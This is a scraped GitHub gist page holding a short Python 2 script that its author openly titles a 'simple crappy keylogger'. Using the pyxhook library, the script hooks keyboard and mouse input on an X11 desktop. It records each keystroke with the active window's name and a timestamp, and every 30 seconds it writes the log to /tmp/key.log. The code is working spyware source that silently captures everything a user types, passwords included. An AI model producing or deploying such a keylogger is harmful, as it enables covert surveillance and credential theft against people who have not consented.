Skip to content

Instantly share code, notes, and snippets.

@leshy
Created March 10, 2012 22:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save leshy/2013732 to your computer and use it in GitHub Desktop.
Save leshy/2013732 to your computer and use it in GitHub Desktop.
pyxhook simple crappy keylogger
#!/usr/bin/python
import pyxhook
import time
keymap = { 'apostrophe': "'",
'comma': ",",
'period': ".",
'space': " ",
'quotedbl': '"',
'Return': '\n',
'exclam': '!',
'question': '?'}
class FileWriter():
def __init__(self,logfile):
print "opening " + logfile
self.lastwin = ""
self.f = open(logfile, 'a', 0)
self.data = ""
def event(self,event):
win = event.WindowProcName + " " + event.Window
if (self.lastwin != win):
self.lastwin = win
self.addlog("\nwc>>> " + win + " " + time.strftime('%s') + "\n")
self.event = event
key = str(event.Key)
if (key in keymap):
key = keymap[key]
if (len(key) > 1):
key = " [" + key + "] "
self.addlog( key)
def addlog(self,data):
self.data += data
def flush(self):
self.f.write(self.data)
self.data = ""
fileWriter = FileWriter('/tmp/key.log')
hm = pyxhook.HookManager()
hm.HookKeyboard()
hm.HookMouse()
hm.KeyUp = fileWriter.event
hm.start()
while True:
time.sleep(30)
if (fileWriter.data):
fileWriter.flush()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment